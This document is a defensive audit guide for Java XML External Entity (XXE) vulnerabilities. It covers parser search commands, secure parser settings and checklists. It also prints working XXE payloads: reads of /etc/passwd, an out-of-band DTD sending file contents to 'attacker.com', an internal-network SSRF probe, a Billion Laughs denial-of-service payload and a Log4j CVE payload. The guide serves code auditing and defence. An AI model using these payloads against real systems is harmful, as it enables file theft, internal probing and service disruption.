# Java XXE (XML External Entity) - Complete Audit Rules

> XML External Entity injection vulnerability in-depth analysis
> Based on javasec project learning outcomes + real audit miss case reflections

---

## Audit Warning - Common Misses

```
+-------------------------------------------------------------------------+
|  The three most common XXE audit misses:                                |
|                                                                         |
|  1. Only checking core modules, missing XML parsing in plugins/exts     |
|  2. Assuming setFeature means secure without verifying all configs      |
|  3. Only searching obvious parsers, missing wrapper classes like DomHelper |
|                                                                         |
|  ⚠️ Setting FEATURE_SECURE_PROCESSING alone is NOT enough!              |
|  ⚠️ Must explicitly set disallow-doctype-decl = true!                  |
+-------------------------------------------------------------------------+
```

---

## Vulnerability Principles

XXE (XML External Entity Injection) is an attack against applications that parse XML input.

**Achievable attacks**:
- ✅ Read local files
- ✅ Internal network port scanning (SSRF)
- ✅ Denial of service (Billion Laughs)
- ✅ OOB data exfiltration

**Basic Payload**:
```xml
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

---

## Dangerous XML Parsing Classes (Complete List)

| Parser Class | Package | Risk | Search Command |
|-------------|---------|------|----------------|
| `DocumentBuilder` | `javax.xml.parsers` | ⚠️ High | `grep -rn "DocumentBuilder"` |
| `SAXParser` | `javax.xml.parsers` | ⚠️ High | `grep -rn "SAXParser"` |
| `SAXReader` | `org.dom4j.io` | ⚠️ High | `grep -rn "SAXReader"` |
| `SAXBuilder` | `org.jdom2.input` | ⚠️ High | `grep -rn "SAXBuilder"` |
| `XMLReader` | `org.xml.sax` | ⚠️ High | `grep -rn "XMLReader"` |
| `XMLInputFactory` | `javax.xml.stream` | ⚠️ High | `grep -rn "XMLInputFactory"` |
| `TransformerFactory` | `javax.xml.transform` | ⚠️ High | `grep -rn "TransformerFactory"` |
| `Validator` | `javax.xml.validation` | ⚠️ High | `grep -rn "Validator\|SchemaFactory"` |
| `Unmarshaller` | `javax.xml.bind` | ⚠️ High | `grep -rn "Unmarshaller"` |
| `Digester` | `org.apache.commons.digester` | ⚠️ High | `grep -rn "Digester"` |
| `DomHelper` | Various frameworks | ⚠️ **Commonly missed** | `grep -rn "DomHelper\|XmlHelper\|XmlUtil"` |

**None are secure by default** - manual defensive configuration required!

### Must Search All Modules

```bash
# Search all XML parsers at once (execute in project root)
grep -rn "DocumentBuilderFactory\|SAXParserFactory\|XMLInputFactory\|TransformerFactory\|SAXReader\|SAXBuilder\|XMLReader\|Digester\|DomHelper\|XmlHelper" --include="*.java"

# Including plugin directories
find . -name "*.java" -exec grep -l "DocumentBuilder\|SAXParser\|XMLReader" {} \;
```

---

## Code Audit Detection

### Search Commands

```bash
# Detect XML parsing classes
grep -rn "DocumentBuilder\|SAXParser\|SAXReader\|SAXBuilder" --include="*.java"

# Detect defensive configuration
grep -rn "setFeature.*disallow-doctype" --include="*.java"

# Detect parse method
grep -rn "\.parse\(" --include="*.java" | grep -E "DocumentBuilder|SAXParser"
```

### Vulnerability Patterns

**Dangerous code**:
```java
// ❌ No defensive configuration
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
builder.parse(userInput);  // User-controllable = XXE
```

**Safe code**:
```java
// ✓ Correct defense
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
```

---

## Attack Vectors

### 1. Read Local Files

```xml
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
```

### 2. OOB Data Exfiltration

**Local XML**:
```xml
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
    %send;
]>
```

**Remote evil.dtd**:
```xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
```

### 3. Internal Network Scanning (SSRF)

```xml
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">]>
<root>&xxe;</root>
```

### 4. Denial of Service

```xml
<!DOCTYPE root [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<root>&lol2;</root>
```

---

## Defense Measures

### DocumentBuilderFactory

```java
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// Completely disable DTD (Recommended)
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Or disable external entities
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
```

### SAXParserFactory

```java
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

### dom4j SAXReader

```java
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
```

### TransformerFactory

```java
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
```

---

## Practical PoC

### PoC 1: DocumentBuilder XXE

**Vulnerable code**:
```java
import javax.xml.parsers.*;
import org.w3c.dom.*;

public class XXEVuln {
    public static void main(String[] args) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(args[0]);  // ⚠️ XXE

        NodeList nodes = doc.getElementsByTagName("data");
        System.out.println(nodes.item(0).getTextContent());
    }
}
```

**Exploitation**:
```bash
echo '<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>' > payload.xml

java XXEVuln payload.xml  # ✅ Read /etc/passwd
```

### PoC 2: CVE-2017-5645 (Log4j XXE)

**Affected**: Apache Log4j 2.0-alpha1 ~ 2.8.1

**Payload**:
```xml
<?xml version="1.0"?>
<!DOCTYPE log4j:configuration [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<log4j:configuration><logger name="&xxe;"/></log4j:configuration>
```

---

## Audit Checklist (Mandatory Verification Matrix)

### Phase 1: Comprehensive Search (No Module Skipped)

- [ ] **Core modules** (core, main)
- [ ] **All plugins** (plugins/*, struts2-*-plugin)
- [ ] **Extension modules** (extensions/*, extras/*)
- [ ] **Test code** (test/*, **/test/**)
- [ ] **Example code** (examples/*, samples/*)

### Phase 2: Complete Parser Inventory

| Parser | Searched | Count Found | Security Status |
|--------|----------|-------------|-----------------|
| DocumentBuilderFactory | [ ] | | |
| SAXParserFactory | [ ] | | |
| XMLInputFactory | [ ] | | |
| TransformerFactory | [ ] | | |
| SAXReader (dom4j) | [ ] | | |
| SAXBuilder (jdom) | [ ] | | |
| XMLReader | [ ] | | |
| Digester | [ ] | | |
| DomHelper/XmlHelper | [ ] | | |
| SchemaFactory/Validator | [ ] | | |

### Phase 3: Defensive Configuration Completeness Verification (All Required)

**For each discovered XML parser, verify ALL of the following configurations**:

| Configuration Item | Status | Importance |
|-------------------|--------|------------|
| `disallow-doctype-decl = true` | [ ] | **Critical! Commonly missed** |
| `external-general-entities = false` | [ ] | High |
| `external-parameter-entities = false` | [ ] | High |
| `load-external-dtd = false` | [ ] | High |
| `setXIncludeAware(false)` | [ ] | Medium |
| `setExpandEntityReferences(false)` | [ ] | Medium |

```
Warning:
- Setting FEATURE_SECURE_PROCESSING alone is NOT enough!
- Must explicitly set disallow-doctype-decl = true
- Missing any single item can leave XXE exploitable
```

### Phase 4: Entry Point Tracing

- [ ] Search all `Content-Type: application/xml` endpoints
- [ ] Search all `Content-Type: text/xml` endpoints
- [ ] Check if file uploads accept XML files
- [ ] Check SOAP endpoints
- [ ] Check configuration file hot-reload features

```bash
# Search XML Content-Type endpoints
grep -rn "application/xml\|text/xml\|consumes.*xml" --include="*.java"
```

### Phase 5: Verification and Recording

- [ ] Confirm whether XML input source is user-controllable
- [ ] Test DTD injection
- [ ] Verify defense effectiveness
- [ ] Check if error messages leak file contents
- [ ] Record all findings with file:line_number

---

## Real Case: Struts XXE Audit Miss

### Miss Cause Analysis

```
1. Only checked core modules
   - Missed embeddedjsp plugin
   - Missed rest plugin

2. Misjudged DomHelper
   - Assumed setFeature meant secure
   - Did not verify disallow-doctype-decl was set

3. Did not trace XML entry points
   - Did not search all application/xml endpoints
```

### Lessons

| Lesson | Description |
|--------|-------------|
| Comprehensive scanning | Must check all plugins and dependency modules |
| XXE defense checklist | Must simultaneously disable DOCTYPE and external entities |
| Entry point analysis | Trace all HTTP endpoints accepting XML input |

---

## Related CVEs

| CVE | Component | Description |
|-----|-----------|-------------|
| CVE-2017-5645 | Log4j 2.x | TcpSocketServer XXE |
| CVE-2017-12629 | Apache Solr | DocumentBuilder XXE |
| CVE-2018-1000058 | Jenkins | Config XML XXE |

---

## Minimal PoC Examples
```bash
# XXE file read
cat > payload.xml <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
EOF
curl -X POST -H "Content-Type: application/xml" --data-binary @payload.xml http://localhost:8080/xml
```

---

**Last updated**: 2024-12-26
**Version**: 1.0
**Audit focus**: setFeature configuration, XML input sources
